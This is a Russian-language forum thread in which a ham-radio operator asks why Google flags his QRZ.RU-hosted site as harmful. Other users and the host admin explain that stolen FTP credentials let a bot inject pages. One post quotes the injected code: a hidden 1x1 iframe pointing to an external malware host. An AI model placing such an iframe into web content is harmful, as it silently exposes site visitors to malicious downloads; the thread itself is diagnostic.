Вид для печати
Вопрос скорее к Сергею --- в данный момент мой сайт (ru3ga.qrz.ru), расположенный на площадке QRZ.RU --- именно так (см. название топика) "представляется" в ГУГЛЕ --- на первой странице , в первой строчке:)
Это моя вина или все же кто-то из ваших админов недоглядел ?
ЗЫ У меня на страницах даже простейших "скриптов" нет --- только HTML текстовые фразы --- сайт прост как угол дома :) С какого перепугу он перешел в разряд "может нанести вред" в самой распространенной поисковой системе ?
Ваш вопрос поднимался тут
http://forum.cqham.ru/viewtopic.php?...asc&&start=360
Нужно убить теги iframe src, сменить пароль.
</BODY>
</HTML>
<iframe src="http://mixante.cn/in.cgi?income54" width=1 height=1 style="visibility: hidden"></iframe>
"И сменить номер сим-карты", фамилию , и пол ? :)
Спасибо за ссылки --- index.shtml --- у меня на компе вполне "вменяемый" --- нет никаких лишних букв --- закачиваю на QRZ.RU --- ну а там уже не моя ипостась --- сорри
ЗЫ По сему --- вопрос остается открытым --- скажите мне , дебилу, что нужно сделать КОНКРЕТНО , что бы в гугле не было больше таких страниц "Этот сайт может нанести вред Вашему компьютеру"
ведь что-то гугл не ругается на мой сайт в "пространстве" qsl.net :)
Цитата:
Сообщение от RU3GA
Зашел на Ваш сайт. Антивирус AVIRA, отработал сразу. Отвечу на вопрос " что нужно сделать КОНКРЕТНО , что бы в гугле не было больше таких страниц "Этот сайт может нанести вред Вашему компьютеру" - ничего личного, но хозяина такого сайта надо принародно ............................ ........... ....................., а сайт закрыть до исправления. И поставьте себе нормальный антивирус, который в режиме тестирования уже давно указал бы на эти проблемы.:рупор:
AVira у меня на компе стоит с 2002 года :) (Спасибо DL2KQ)
Но тем не менее --- хозяина сайта принародно распяли на кресте --- Вы довольны?
"Исправления" чего ?
Мой сайт Вам не нравится --- ну ладно --- это не шоколадка , коия всем нравится --- но что он заражен вирусами --- вот тут сорри --- немножко поподробнее --- какие вирусы --- в каком месте ?
И КОНКРЕТНО скажИте --- в каком месте я Ваш комп заразил вирусом --- ОЧЕНЬ любопытно (поскольку я на сайте ничего не менял уже два года --- а антивирусники "забрежжили" только в марте --- не повод для размышлений?)...
Для Вас ---видимо нет ---поскольку Вы не размышляете в принципе :)
Причина сего явления простА. Троян выкрал пароль и модифицировал страницу. Пиши на admin@qrz.ru с просьбой сменить пароль.
Александр! приветствую
пытался зайти вот что выдал:
Я это и сделал -- написал --- тема разговора именно в этом...Цитата:
Сообщение от RW3VZ
А отнюдь не в "тематике" и не в "нужности" моего сайта
Любопытно будет разобраться (как дебилу в инфрмационных технологиях) --- в чем все таки проблема?
Никаких проблем.Цитата:
Сообщение от RU3GA
Твой компьютер был заражен, троян отправил украденный пароль, с помощью которого была "подправлена" веб-страница.
Бывает. Я тоже нарывался на такое.
Зашел - получил:
Ок --- но вряд ли ...
Кому я нафиг нужен со своей "страничкой" ?
И "ломать" меня --- это все равно что у музыканта в переходе метро отобрать смятые купюры, брошенные ему в чехол от скрипки ..
зашел --- действительно так
Фраза просто без относительно к кому бы то ни было
--- Ну и кто ты после этого?
PS Сломали мой сайт расположенный у вас на "площадке" --- я его буду "чинить"?
Дык, трояну всё равно, у кого тырить пароли.
Дык помимо троянов есть еще и инженеры и админы --- или щас уже таких не осталось , в кризисный период?
Это ты о чем?Цитата:
Сообщение от RU3GA
Я просто о том , что был мой сайт 10 лет --- теперь оказывается он не "кошерный" ( в смысле Гугла)
Я только об этом ;)
Я ничего ТАМ НЕ МЕНЯЛ ДВА ГОДА!!!
ЗЫ Изменилась жизнь ?
Изменился Гугл?
Изменились схемы , коие я сканировал пять лет назад?
Первые два предложения спорны ---- а третее -- вряд ли
Да при чем тут сайт?
Через два года ты подцепил вируса (у себя дома), и он сделал твой сайт таким.
Меняй пароль, перезаливай страницы. И получше "предохраняйся".
Ну, если в марте, то аборт делать уже поздно, скоро чего нибудь родит. Я обычно не размышляю, когда срабатывает антивирус - делет и дело с концом, а вот как Вы с АВИРОЙ затащили вирус на свой комп, это надо умудриться. RW3VZ Вам все сказал. Успехов.Цитата:
Сообщение от RU3GA
Ну в смысле таком --- я должен теперь напрягаться , что мой пароль взломали ?Цитата:
Сообщение от RW3VZ
Ни этим ли должны админы заниматься ?
"Шашкой" махать в беседах --- как воронье слетается , а решить проблему ИМЕННО АДМИНСКУЮ --- ну не уверен --- посмотрим
Я поэтому и обращался изначально к Сергею --- чего за хренотень такая ? :)
Ну знаю я ситуации , когда клиента пробрасываешь за бабки в гугле на "первое место" --- но что бы твой сайт на твоей площадке кидали позорными словами --- ну сложно сказать --- все мои файлы --- текстовые --- готовлю я их в "блокноте" --- и после этого мне говорят ---- "твой сайт опасен!" --- возникает непонятное ощущение ...
лох-юзер --- вы все такие крутые админы
Добавлено через 4 минуты
Да ты его найди сначала на сайте , а потом уже будешь куражиться ;)Цитата:
Сообщение от vham
Добавлено через 14 минут
Андрей , ну неужели ты меня видишь таким дебилом , коий два года таскает вирус за собой в компе ?Цитата:
Сообщение от RW3VZ
Покажи мне файл --- где вирус?
А я пока задам в очередной раз вопрос Сергею --- мож поглядишь ? ;)
Обясню, как ламер в сайтостроении... мне так объяснили:
комп, с которого заливали на ftp содержимое страницы подхватил вирус - троянчик... далее этот вирус делает следующее:
1. копирует сам себя на все ftp, куда были заходы для обновления страниц.
2. каждые 2-3 часа пытается еще раз проделать п.1, если есть подключение к нету
лечение, которое подействовало в случае у товарища:
1. скачать образ с drweb http://www.freedrweb.com/livecd
2. сделать диск
3. загрузиться с этого диска и вылечить комп
4. поменять пароли на доступ ко всем ftp
5. никогда не вводить пароли в память....
UA9XTL
Николай.
73!
Привет, Александр !
Давно не заходил на сайт и вот чего только, что показал Аваст.
Админы вэб-хостинга обеспечивают полноценный доступ и управление площадками, сайтами и БД(если таковые имеются ). Обеспечение сохранности скриптов и страниц - дело ВЛАДЕЛЬЦА сайта.Цитата:
Сообщение от RU3GA
Вам объяснили уже 20 раз - ВЫ в ответе за сайт и НИКТО другой!Цитата:
лох-юзер --- вы все такие крутые админы
Вам его уже нашли, что еще не понятно?Цитата:
Да ты его найди сначала на сайте , а потом уже будешь куражиться ;)
Зайдите по фтп и скопируйте индекс-файл. Я Вам из него удалю вирус.Цитата:
Покажи мне файл --- где вирус?
Да где Вы его гнашли --- ну пошли мне его ---я потестируюЦитата:
Сообщение от RX3QFY
Не вопрос --- мой сайт --- и отвечаю за него в меру сил --- какие есть --- не хотите - не ходите --- мало того , что я потратил 4 года на сканирование тех вещей в электронике, которые я считал интерестными ---- когда разместил эти вещи ---это было неплохо ---- оказывается спустя еще 4 года я обязан следить за вирусами у провайдера , коий разместил мой сайт --- ОХ....!!!!Цитата:
Сообщение от RX3QFY
ЗЫ Вот поэтому --- ОТСТАНЬТЕ левые советчики поставить "нового антивирусника" --- обновите себе базу и успокойтесь наконец ;) --- мне не нужен совет админа --- я хочу понять почему мой сайт стал так немил в поисковике
Именно так.Цитата:
Сообщение от RU3GA
Могла быть заражена конкретная сессия, поскольку антивирус не опознал свежую заразу. А она успела сделать свое грязное дело. Может даже уже после перезагрузки она была ликвидирована.
Но сайт-то уже запорчен.
Ты лучше напиши Сергею в личку, быстрее выйдет.Цитата:
Сообщение от RU3GA
Он посмотрит логи. Ответ можно предсказать. Примерно так:
"Последний раз доступ к сайту по FTP был с такого-то IP'шника. Этот адрес находится в сетке какого-нибудь турецкого или китайского провайдера."
---
Если бы пароли были выкрадены с QRZ.RU, то были бы заражены все хостящиеся там сайты. Ну а тут конкретный случай, поэтому вариантов не остаётся.
Андрей -- а мне это надо ?Ты понял я думаю --- что мне следить еще
за вирусами в сайте --- не приколно --- об этом я и хотел спросить у Сереги
Я задал вопрос админам (скорее всего Сергею , посколько он там боле-мене вменяемый) ---- и жду ответа ---- а тут оказывается есть господа, коие дают советы через голову Лермонтова Битла Гейтса итд --- ну говорите дальше , господа ,)
Саша, RW3VZ тебе, по-моему, нормально объяснил.Цитата:
Сломали мой сайт расположенный у вас на "площадке" --- я его буду "чинить"?
1) Ты обновлял сайт 2 года назад, это не важно.
2) Например пол-года назад, на компе дома, где хранится ftp, login, password завелся вирус, который нашел их и отослал в Китай.
3) Из Китая используя эти ftp, login, password пришел бот, который внес изменения в страничку.
Так что получается, чинить тебе. И менять пароль.
Александр, здравствуйтеЦитата:
Сообщение от RU3GA
Ваш пароль был украден несколькими троянами - лог обращений по FTP я вам выслал по почте вместе с новым паролем. В первой странице вашего сайта я <iframe удалил вручную, остальные страницы (см в логе) - прошу вычистить самостоятельно
Сергей --- ок --- все понял --- будем заниматься этой ситуацией
Добавлено через 5 минут
Вот как бы вот этого не хочется и очень сильно ;)Цитата:
Сообщение от Watt
Ну Сергей все вроде рассказал --- буду заниматься
Тему наверное нужно закрыть
А извинится господин перед сообществом не хочет, гордость..... или неуважение?Цитата:
Сообщение от RU3GA
Только так и не понял --- за что?
Я задал вопрос --- Сергей ответил конструктивно , но не быстро --- быстро стали писать все остальные --- не хочется приводить примеры ---- вы сами все почитаете выше по ветке
Перед админами сайта мне извиняться не в чем --- задал вопрос --- получил ответ --- вроде все в норме (Сергей , спасибо --- в очередной раз убедился в Вашей компетентности )
Перед всеми остальными --- да вроде даже и извиняться не за что --- я ни кому не хамил никого "по матушке" не клал --- за что извиняться-то??????
И все-таки, если не медицинская тайна, с кокого компа первый раз пришла зараза?Цитата:
Сообщение от UA9OTY
Именно так все и было.Цитата:
Сообщение от RW3VZ
У меня был такой же случай (я тогда под ХРюшей сидел).
Захожу на www.r6x.ru и вижу какую-то муть.
Ничего кроме index.html не заменили.
Вернул на место.
На следующий день та же байда.
Я к админам хостинга. Они сказали, что залогинились вашим логином и паролем по FTP и заменили. Я тут же сменил пароль, удалил в Total Commander (а я через него захожу) учетную запись. А вот на следующий день после очередного обновления AVP обнаружил новенький троян.
Так что, уважаемый RU3GA, у вас было точно также.
И чтобы такого не было - не храните на компе ни в кукисах, ни в настройках программ пароли, т.к. троян может быть пропущен вашим антивирусом (не важно каким).
Я его туда положил 4 года назад и больше туда не смотрел ---- теперь говорят --- "файл заражен" ---- ну может быть --- я уже забыл интернет технологии и занимаюсь гинекологией --- есть проблемы?Цитата:
Сообщение от RX3QFY
Добавлено через 1 минуту
Боже --- какая же у Вас каша в головеЦитата:
Сообщение от RA6XTD
Добавлено через 6 минут
Никогда не думал что простой и весьма специализироанный вопрос к админу вызовет такую бурю эмоций
Да. Вы спросили "Это моя вина или все же кто-то из ваших админов недоглядел ?"Цитата:
Сообщение от RU3GA
Вам ответили, что ВАША.
Вам не понравился этот ответ и вызвал у вас бурю эмоций "Мой сайт Вам не нравится ".
Ню ню.Цитата:
Сообщение от RU3GA
Добрый день!
В принципе броузер Мозилла показывает это сообщение, что сайт опасен и устанавливает какие-то вредоносные программы (см. Скриншот)
McAFee SiteAdvisor - зеленый и нет сообщений от том, что сайт опасен с точки зрения вирусов
Касперский Антивирус тоже молчит
Все работает сейчас
Так и надо было а админу в ЛС обратиться, а Вы в форум вынесли.Цитата:
Сообщение от RU3GA
Теперь разгребайте... :)
Ситуация самая стандартная: не "любите" женщину на площади - советами достанут...:swoon2:
Все это ерунда. Сегодня утром на работе хотел почитать эту тему - наш антивирус на проксе отказался дать к ней доступ по причине заражения странички. Судя по всему, дело не в вирусе, а во фразе "Этот сайт может нанести вред". Ибо чего же тогда тот же антивирус разрешает доступ к другим темам форума?
Дома стоит AVG и молчит. На работе на проксе - Каспер. Судя по всему - это тот же случай, что и с проверкой антивирусов. Когда набирается текстовый файл (забыл какая фраза), затем меняется его расширение на *.соm и все - файл считается зараженным - сигнатура соответствует. При этом сам файл не запускается - ну не программа это.
Действительно может и не вирус а все связано со "спамом".Цитата:
Сообщение от RK3FW
Google почему-то считает его вредоопасным
Вот отчет McAFee SiteAdvisor по сайту ru3ga.qrz.ru
Все прошу не ругать
Цитата:
Сообщение от RK3FW
Вам бы "админами-следопытами" работать :-)))))Цитата:
Сообщение от UR5FCM
А вот тут для кого пишут...., для кого?
http://forum.qrz.ru/post283061-26.html
Тема - прям для Башорга.
А весь сыр-бор потому что смешали традиционные "кто виноват" и "что делать".
Что делать - понятно сразу - на сайте есть ссылки (во фреймах) на сайт с вредоносным ПО. Чтобы решить проблему надо эти ссылки убрать.
А кто виноват - это может показать только непредвзятый анализ логов. Потому что ломануть могли не только пароль Александра, но и сам qrz, а также любую другую страничку любого пользователя. Админ - знает как это было. Верить ему или нет - отдельная тема. Я бы поверил. Так проще.
Так что все просто. Какая цель? Починить сайт - одно. "Построить" админов qrz - другое.
ЗЫ.
Если знаний не хватает - обращайтесь к специалистам и им доверяйте. Не доверяете - учитесь.
Есть еще вариант создать, купить что то типа RU3GA.COM, RU3GA.RU и т.д.
Я все что нужно от админов увидел ---- если вам прикольно -- продолжайте беседовать
Александр, может неудачное сравнение.
Есть большие торговые площадки. Они сдают в аренду под малеькие магазинчики площадь. Потом приходит сэс и говорит у вас и только у вас в магазинчике тараканы бегают.
Это чья проблема?
Не моя --- это точно ;)
Хотите поставить тему ШИРЕ ---- "велком" на другие "ветки" ;)
А эту тему я "открыл" ---- я её и закрываю --- господа модераторы --- прикройте ветку